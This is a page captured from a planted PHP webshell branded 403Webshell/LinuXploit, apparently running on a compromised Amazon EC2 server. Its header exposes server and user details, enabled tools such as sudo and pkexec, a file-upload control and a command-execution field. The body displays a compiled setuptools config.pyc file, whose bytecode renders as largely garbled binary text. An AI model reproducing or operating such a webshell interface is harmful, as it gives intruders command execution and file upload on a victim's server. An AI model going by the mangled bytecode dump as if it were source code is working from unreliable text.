403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/setuptools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/setuptools/__pycache__/config.cpython-39.pyc
a

H�8hqZ�@sddlZddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddlm
Z
ddlmZddl
Z
ddlmZmZddlmZmZddlmZGd	d
�d
�Ze
jdd��Zddd�Zdd�Zdd�Zddd�ZGdd�d�ZGdd�de�ZGdd�de�ZdS)�N)�defaultdict)�partial��wraps)�iglob)�DistutilsOptionError�DistutilsFileError)�Version�InvalidVersion)�SpecifierSetc@s eZdZdZdd�Zdd�ZdS)�StaticModulez0
    Attempt to load the module by the name
    cCs`tj�|�}t|j��}|��}Wd�n1s40Yt�|�}t|��	t
��|`dS�N)�	importlib�util�	find_spec�open�origin�read�ast�parse�vars�update�locals�self)r�name�specZstrm�src�module�r�5/usr/lib/python3.9/site-packages/setuptools/config.py�__init__s&
zStaticModule.__init__c
s^zt�fdd�|jjD��WStyX}z$tdjfit����|�WYd}~n
d}~00dS)Nc3sH|]@}t|tj�r|jD](}t|tj�r|j�krt�|j�VqqdSr
)�
isinstancerZAssign�targets�Name�idZliteral_eval�value)�.0Z	statement�target��attrrr�	<genexpr>#s

�z+StaticModule.__getattr__.<locals>.<genexpr>z#{self.name} has no attribute {attr})�nextr�body�	Exception�AttributeError�formatr)rr)�err(r�__getattr__!s�
��zStaticModule.__getattr__N)�__name__�
__module__�__qualname__�__doc__r r1rrrrrsrc	cs8z$tj�d|�dVWtj�|�ntj�|�0dS)zH
    Add path to front of sys.path for the duration of the context.
    rN)�sys�path�insert�remove)r7rrr�
patch_path0sr:Fc		Cs�ddlm}m}tj�|�}tj�|�s4td|��t��}t�	tj�
|��zT|�}|rb|��ng}||vrx|�|�|j
||d�t||j|d�}Wt�	|�nt�	|�0t|�S)a,Read given configuration file and returns options from it as a dict.

    :param str|unicode filepath: Path to configuration file
        to get options from.

    :param bool find_others: Whether to search for other configuration files
        which could be on in various places.

    :param bool ignore_option_errors: Whether to silently ignore
        options, values of which could not be resolved (e.g. due to exceptions
        in directives such as file:, attr:, etc.).
        If False exceptions are propagated as expected.

    :rtype: dict
    r)�Distribution�
_Distributionz%Configuration file %s does not exist.)�	filenames)�ignore_option_errors)Zsetuptools.distr;r<�osr7�abspath�isfiler�getcwd�chdir�dirnameZfind_config_files�appendZparse_config_files�parse_configuration�command_options�configuration_to_dict)	�filepathZfind_othersr>r;r<Zcurrent_directoryZdistr=�handlersrrr�read_configuration<s"
�rKcCs2djfit���}t�t||�}t|||�}|�S)z�
    Given a target object and option key, get that option from
    the target object, either through a get_{key} method or
    from an attribute directly.
    z	get_{key})r/r�	functoolsr�getattr)�
target_obj�keyZgetter_nameZby_attribute�getterrrr�_get_optionisrQcCs<tt�}|D]*}|jD]}t|j|�}|||j|<qq|S)z�Returns configuration data gathered by given handlers as a dict.

    :param list[ConfigHandler] handlers: Handlers list,
        usually from parse_configuration()

    :rtype: dict
    )r�dict�set_optionsrQrN�section_prefix)rJZconfig_dictZhandlerZoptionr%rrrrHus
rHcCs6t|||�}|��t|j|||j�}|��||fS)a�Performs additional parsing of configuration options
    for a distribution.

    Returns a list of used option handlers.

    :param Distribution distribution:
    :param dict command_options:
    :param bool ignore_option_errors: Whether to silently ignore
        options, values of which could not be resolved (e.g. due to exceptions
        in directives such as file:, attr:, etc.).
        If False exceptions are propagated as expected.
    :rtype: list
    )�ConfigOptionsHandlerr�ConfigMetadataHandler�metadata�package_dir)ZdistributionrGr>�options�metarrrrF�s�rFc@s�eZdZdZdZiZd'dd�Zedd��Zdd	�Z	e
d(dd��Ze
d)d
d��Ze
dd��Z
e
dd��Ze
dd��Ze
dd��Zedd��Zedd��Ze
d*dd��Ze
dd��Ze
d+dd ��Zd!d"�Zd#d$�Zd%d&�ZdS),�
ConfigHandlerz1Handles metadata supplied in configuration files.NFcCs^i}|j}|��D].\}}|�|�s&q|�|d��d�}|||<q||_||_||_g|_dS)N��.)	rT�items�
startswith�replace�stripr>rN�sectionsrS)rrNrYr>rbrT�section_name�section_optionsrrrr �s

zConfigHandler.__init__cCstd|jj��dS)�.Metadata item name to parser function mapping.z!%s must provide .parsers propertyN)�NotImplementedError�	__class__r2)rrrr�parsers�s
�zConfigHandler.parsersc	Cs�t�}|j}|j�||�}t|||�}||ur6t|��|r>dSd}|j�|�}|r~z||�}Wnty|d}|jsx�Yn0|r�dSt|d|d�}|dur�t	|||�n||�|j
�|�dS)NFTzset_%s)�tuplerN�aliases�getrM�KeyErrorrhr-r>�setattrrSrE)	rZoption_namer%�unknownrNZ
current_valueZskip_option�parser�setterrrr�__setitem__�s0zConfigHandler.__setitem__�,cCs8t|t�r|Sd|vr |��}n
|�|�}dd�|D�S)z�Represents value as a list.

        Value is split either by separator (defaults to comma) or by lines.

        :param value:
        :param separator: List items separator character.
        :rtype: list
        �
cSsg|]}|��r|���qSr)ra)r&�chunkrrr�
<listcomp>�z-ConfigHandler._parse_list.<locals>.<listcomp>)r!�list�
splitlines�split)�clsr%�	separatorrrr�_parse_list�s



zConfigHandler._parse_listc	sjd}|j�|d�}g}|D]J�t�fdd�|D��rZ|�tdd�ttj����D���q|���q|S)aEquivalent to _parse_list() but expands any glob patterns using glob().

        However, unlike with glob() calls, the results remain relative paths.

        :param value:
        :param separator: List items separator character.
        :rtype: list
        )�*�?�[�]�{�}�r{c3s|]}|�vVqdSr
r)r&�char�r%rrr*rvz1ConfigHandler._parse_list_glob.<locals>.<genexpr>css |]}tj�|t���VqdSr
)r?r7�relpathrB�r&r7rrrr*s�)	r|�any�extend�sortedrr?r7r@rE)rzr%r{Zglob_characters�valuesZexpanded_valuesrr�r�_parse_list_globs
�zConfigHandler._parse_list_globcCsPd}i}|�|�D]8}|�|�\}}}||kr:td|��|��||��<q|S)zPRepresents value as a dict.

        :param value:
        :rtype: dict
        �=z(Unable to parse option value to dict: %s)r|�	partitionrra)rzr%r{�result�linerO�sep�valrrr�_parse_dict s�zConfigHandler._parse_dictcCs|��}|dvS)zQRepresents value as boolean.

        :param value:
        :rtype: bool
        )�1�trueZyes)�lower)rzr%rrr�_parse_bool3szConfigHandler._parse_boolcs�fdd�}|S)z�Returns a parser function to make sure field inputs
        are not files.

        Parses a value after getting the key so error messages are
        more informative.

        :param key:
        :rtype: callable
        cs d}|�|�rtd�����|S)N�file:zCOnly strings are accepted for the {0} field, files are not accepted)r_�
ValueErrorr/)r%Zexclude_directive�rOrrroIs
��z3ConfigHandler._exclude_files_parser.<locals>.parserr)rzrOrorr�r�_exclude_files_parser=s	z#ConfigHandler._exclude_files_parsercs\d}t|t�s|S|�|�s |S|t|�d�}dd�|�d�D�}d��fdd�|D��S)aORepresents value as a string, allowing including text
        from nearest files using `file:` directive.

        Directive is sandboxed and won't reach anything outside
        directory with setup.py.

        Examples:
            file: README.rst, CHANGELOG.md, src/file.txt

        :param str value:
        :rtype: str
        r�Ncss|]}tj�|���VqdSr
)r?r7r@rar�rrrr*krvz,ConfigHandler._parse_file.<locals>.<genexpr>rrrsc3s.|]&}��|�stj�|�r��|�VqdS)TN)�
_assert_localr?r7rA�
_read_filer��rzrrr*ls�)r!�strr_�lenry�join)rzr%Zinclude_directiverZ	filepathsrr�r�_parse_fileTs

�zConfigHandler._parse_filecCs|�t���std|��dS)Nz#`file:` directive can not access %s)r_r?rBr)rIrrrr�rszConfigHandler._assert_localcCs:tj|dd��}|��Wd�S1s,0YdS)Nzutf-8)�encoding)�iorr)rI�frrrr�wszConfigHandler._read_filec	Cs4d}|�|�s|S|�|d����d�}|��}d�|�}|p@d}t��}|r�|d|vr�||d}|�dd�}	t	|	�dkr�tj
�t��|	d�}|	d}q�|}nd|vr�tj
�t��|d�}t|��Nztt
|�|�WWd�St�yt�|�}
Yn0Wd�n1�s 0Yt|
|�S)	z�Represents value as a module attribute.

        Examples:
            attr: package.attr
            attr: package.module.attr

        :param str value:
        :rtype: str
        zattr:r\r]r r�/�N)r_r`rary�popr�r?rB�rsplitr�r7r:rMrr-r�
import_module)rzr%rXZattr_directiveZ
attrs_pathZ	attr_nameZmodule_name�parent_pathZcustom_path�partsrrrr�_parse_attr|s0



0zConfigHandler._parse_attrcs�fdd�}|S)z�Returns parser function to represents value as a list.

        Parses a value applying given methods one after another.

        :param parse_methods:
        :rtype: callable
        cs|}�D]}||�}q|Sr
r)r%�parsed�method��
parse_methodsrrr�s
z1ConfigHandler._get_parser_compound.<locals>.parser)rzr�rrr�r�_get_parser_compound�s
z"ConfigHandler._get_parser_compoundcCs6i}|pdd�}|��D]\}\}}||�||<q|S)z�Parses section options into a dictionary.

        Optionally applies a given parser to values.

        :param dict section_options:
        :param callable values_parser:
        :rtype: dict
        cSs|Sr
r)r�rrr�<lambda>�rvz6ConfigHandler._parse_section_to_dict.<locals>.<lambda>)r^)rzrdZ
values_parserr%rO�_r�rrr�_parse_section_to_dict�s

z$ConfigHandler._parse_section_to_dictc	Cs:|��D],\}\}}z|||<Wqty2Yq0qdS)zQParses configuration file section.

        :param dict section_options:
        N)r^rl)rrdrr�r%rrr�
parse_section�s
zConfigHandler.parse_sectioncCsb|j��D]R\}}d}|r"d|}t|d|�dd�d�}|durTtd|j|f��||�q
dS)zTParses configuration file items from one
        or more related sections.

        r\z_%szparse_section%sr]�__Nz0Unsupported distribution option section: [%s.%s])rbr^rMr`rrT)rrcrdZmethod_postfixZsection_parser_methodrrrr�s ���zConfigHandler.parsecst�����fdd��}|S)z�this function will wrap around parameters that are deprecated

        :param msg: deprecation message
        :param warning_class: class of warning exception to be raised
        :param func: function to be wrapped around
        cst�����|i|��Sr
)�warnings�warn)�args�kwargs��func�msg�
warning_classrr�config_handler�sz@ConfigHandler._deprecated_config_handler.<locals>.config_handlerr)rr�r�r�r�rr�r�_deprecated_config_handler�sz(ConfigHandler._deprecated_config_handler)F)rr)rr)N)N)r2r3r4r5rTrjr �propertyrhrq�classmethodr|r�r�r�r�r��staticmethodr�r�r�r�r�r�rr�rrrrr[�s@

&

	



-
r[csHeZdZdZddddd�ZdZd�fd	d
�	Zedd��Zd
d�Z	�Z
S)rVrW�url�description�classifiers�	platforms)Z	home_pageZsummaryZ
classifier�platformFNcstt|��|||�||_dSr
)�superrVr rX)rrNrYr>rX�rgrrr s
�zConfigMetadataHandler.__init__cCs^|j}|j}|j}|j}||||�|dt�||�||�|d�|�|d�dt�||||j|d�
S)rez[The requires parameter is deprecated, please use install_requires for runtime dependencies.�license�license_filezDThe license_file parameter is deprecated, use license_files instead.)
r��keywordsZprovidesZrequiresZ	obsoletesr�r�r�Z
license_filesr�Zlong_description�versionZproject_urls)r|r�r�r�r��DeprecationWarningr��_parse_version)r�
parse_listZ
parse_file�
parse_dictZexclude_files_parserrrrrhs4�
��zConfigMetadataHandler.parserscCs�|�|�}||krX|��}zt|�Wn,tyRd}t|jfit�����Yn0|S|�||j�}t	|�rt|�}t
|t�s�t|d�r�d�
tt|��}nd|}|S)zSParses `version` option value.

        :param value:
        :rtype: str

        zCVersion loaded from {value} does not comply with PEP 440: {version}�__iter__r]z%s)r�rar	r
rr/rr�rX�callabler!r��hasattrr��map)rr%r�Ztmplrrrr�?s$
�

z$ConfigMetadataHandler._parse_version)FN)r2r3r4rTrjZstrict_moder r�rhr��
__classcell__rrr�rrVs��
!rVc@sdeZdZdZedd��Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�ZdS)rUrYcCsN|j}t|jdd�}|j}|j}|j}|||||||||||j|j|t|d�S)re�;r�)Zzip_safeZinclude_package_datarXZscriptsZeager_resourcesZdependency_linksZnamespace_packagesZinstall_requiresZsetup_requiresZ
tests_requireZpackages�entry_pointsZ
py_modulesZpython_requiresZcmdclass)r|rr�r��_parse_cmdclass�_parse_packagesr�r)rr�Zparse_list_semicolonZ
parse_boolr�Zparse_cmdclassrrrrhis*�zConfigOptionsHandler.parserscs$dd���fdd�|�|���D�S)NcSs8|�d�}||dd�}|d|�}t|�}t||�S)Nr]r�)�rfind�
__import__rM)Zqualified_class_name�idx�
class_nameZpkg_namerrrr�
resolve_class�s

z;ConfigOptionsHandler._parse_cmdclass.<locals>.resolve_classcsi|]\}}|�|��qSrr�r&�k�v�r�rr�
<dictcomp>�rvz8ConfigOptionsHandler._parse_cmdclass.<locals>.<dictcomp>)r�r^)rr%rr�rr��s	z$ConfigOptionsHandler._parse_cmdclasscCsnddg}|��}||vr"|�|�S||dk}|�|j�di��}|rTddlm}nddlm}|fi|��S)zTParses `packages` option value.

        :param value:
        :rtype: list
        zfind:zfind_namespace:r�z
packages.findr)�find_namespace_packages)�
find_packages)rar|�parse_section_packages__findrbrkZ
setuptoolsr�r�)rr%Zfind_directivesZ
trimmed_valueZfindns�find_kwargsr�rrrr��s
�z$ConfigOptionsHandler._parse_packagescsR|�||j�}gd��t�fdd�|��D��}|�d�}|durN|d|d<|S)z�Parses `packages.find` configuration file section.

        To be used in conjunction with _parse_packages().

        :param dict section_options:
        )�whereZinclude�excludecs$g|]\}}|�vr|r||f�qSrrr��Z
valid_keysrrru�rvzEConfigOptionsHandler.parse_section_packages__find.<locals>.<listcomp>r�Nr)r�r|rRr^rk)rrdZsection_datar�r�rr�rr��s�
z1ConfigOptionsHandler.parse_section_packages__findcCs|�||j�}||d<dS)z`Parses `entry_points` configuration file section.

        :param dict section_options:
        r�N)r�r|�rrdr�rrr�parse_section_entry_points�sz/ConfigOptionsHandler.parse_section_entry_pointscCs.|�||j�}|�d�}|r*||d<|d=|S)Nr}r\)r�r|rk)rrdr��rootrrr�_parse_package_data�s
z(ConfigOptionsHandler._parse_package_datacCs|�|�|d<dS)z`Parses `package_data` configuration file section.

        :param dict section_options:
        Zpackage_dataN�r��rrdrrr�parse_section_package_data�sz/ConfigOptionsHandler.parse_section_package_datacCs|�|�|d<dS)zhParses `exclude_package_data` configuration file section.

        :param dict section_options:
        Zexclude_package_dataNr�r�rrr�"parse_section_exclude_package_data�sz7ConfigOptionsHandler.parse_section_exclude_package_datacCs"t|jdd�}|�||�|d<dS)zbParses `extras_require` configuration file section.

        :param dict section_options:
        r�r�Zextras_requireN)rr|r�)rrdr�rrr�parse_section_extras_require�s�z1ConfigOptionsHandler.parse_section_extras_requirecCs(|�||j�}dd�|��D�|d<dS)z^Parses `data_files` configuration file section.

        :param dict section_options:
        cSsg|]\}}||f�qSrrr�rrrru�rvzAConfigOptionsHandler.parse_section_data_files.<locals>.<listcomp>Z
data_filesN)r�r�r^r�rrr�parse_section_data_files�sz-ConfigOptionsHandler.parse_section_data_filesN)r2r3r4rTr�rhr�r�r�r�r�r�r�r�r�rrrrrUes


rU)FF)F) rr�r?r6r�rLr�collectionsrrr�globr�
contextlibZdistutils.errorsrrZ#setuptools.extern.packaging.versionr	r
Z&setuptools.extern.packaging.specifiersrr�contextmanagerr:rKrQrHrFr[rVrUrrrr�<module>s4

-
ca

Youez - 2016 - github.com/yon3zu
LinuXploit